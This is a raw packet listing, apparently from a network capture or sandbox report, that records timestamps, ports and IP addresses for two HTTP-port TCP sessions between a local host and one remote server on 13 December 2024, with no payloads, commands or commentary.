Dec 13, 2024 08:18:58.297903061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.297998905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298015118 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298031092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298048019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.298074961 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.298557043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298573017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298588991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298626900 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.298713923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298731089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298747063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298757076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.298764944 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.298784018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299133062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299149036 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299168110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299179077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299207926 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299269915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299351931 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299366951 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299396992 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299506903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299523115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299537897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299556017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299555063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299576998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299906969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299925089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.299957991 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.299973965 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300028086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.300334930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300350904 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300367117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300394058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.300506115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300522089 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300538063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300551891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.300554037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300575018 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.300822020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300837040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300853014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.300889015 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.300930023 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.301372051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301388025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301403999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301423073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.301426888 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301444054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301459074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301469088 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.301477909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301502943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.301700115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301727057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301739931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.301742077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.301781893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.302232027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302248001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302263975 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302288055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.302401066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302417040 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302433014 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302448034 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.302448034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302474022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.302654982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302700996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.302728891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302745104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.302788019 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.303297043 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303322077 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303340912 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303366899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.303416967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303432941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303447962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303462982 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303462982 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.303488016 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.303942919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303957939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.303975105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304003000 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.304043055 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.304303885 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304320097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304335117 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304361105 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.304380894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304395914 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304410934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304419994 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.304450035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.304630995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304646969 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304662943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304680109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.304697990 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.304721117 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.305522919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.305538893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.305555105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.305569887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.305573940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.305617094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.318422079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318439007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318454027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318470001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318487883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318500996 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.318501949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318519115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318536043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.318551064 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.318713903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318730116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318746090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.318754911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.318783045 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.319062948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.319080114 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.319096088 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.319111109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.319122076 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.319147110 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503149033 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503201008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503217936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503238916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503293037 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503326893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503364086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503396034 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503412962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503431082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503438950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503473043 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503573895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503633976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503694057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503710032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503726006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503731966 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503743887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.503757954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.503791094 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.504203081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504290104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504307032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504331112 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.504417896 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504435062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504451990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504463911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.504491091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.504513025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504859924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504889011 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504904985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.504929066 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.504955053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.505039930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505063057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505079031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505093098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505104065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.505131006 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.505445004 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505506039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505522966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505562067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.505676031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505692005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505708933 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505724907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505734921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.505745888 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.505935907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505953074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505969048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.505978107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.506005049 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.506433010 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506485939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506500959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506545067 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.506582022 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506609917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506624937 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506640911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506654024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.506663084 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.506827116 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506854057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.506870031 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.506870031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507375002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507401943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507417917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507421970 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.507445097 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.507586002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507602930 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507617950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507632971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507644892 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.507671118 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.507853985 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507893085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507908106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.507934093 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.507947922 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.508317947 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508375883 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508390903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508433104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.508539915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508555889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508570910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508586884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508595943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.508614063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.508750916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508775949 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508791924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.508817911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.508845091 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.509308100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509383917 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509401083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509428024 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.509490967 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509506941 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509521961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509537935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509550095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.509573936 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.509733915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509759903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509774923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.509776115 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.510224104 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.510272026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.510313988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.511852026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.512021065 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.631714106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.776606083 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.896435022 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:58.896675110 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:58.897109032 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:59.016782999 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225151062 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225176096 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225188971 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225316048 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225322008 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.225331068 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225413084 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.225433111 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225445032 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225456953 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225601912 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.225601912 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.225629091 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225641012 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.225743055 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.345211983 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.345280886 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.348767996 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.349442959 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.402533054 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.417217016 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.417288065 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.417424917 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.421422005 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.421480894 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.422202110 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.429840088 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.432867050 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.432972908 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.433478117 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.441306114 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.441381931 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.441423893 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.450232983 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.450247049 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.450517893 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.458060026 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.458157063 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.458380938 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.466525078 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.466614962 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.466635942 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.474958897 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.475017071 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.475070953 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.483259916 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.483365059 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.483403921 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.491710901 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.491832972 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.492257118 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.522353888 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.522444963 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.522494078 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.537134886 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.537818909 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.609730959 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.609857082 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.610265017 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.612343073 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.612441063 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.612562895 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.617423058 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.617459059 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.617568970 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.622526884 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.622539997 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.622668982 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.627140999 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.627154112 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.627788067 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.631870985 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.632013083 CET	80	49748	185.81.68.147	192.168.2.11
Dec 13, 2024 08:19:00.632091045 CET	49748	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:19:00.636439085 CET	80	49748	185.81.68.147	192.168.2.11
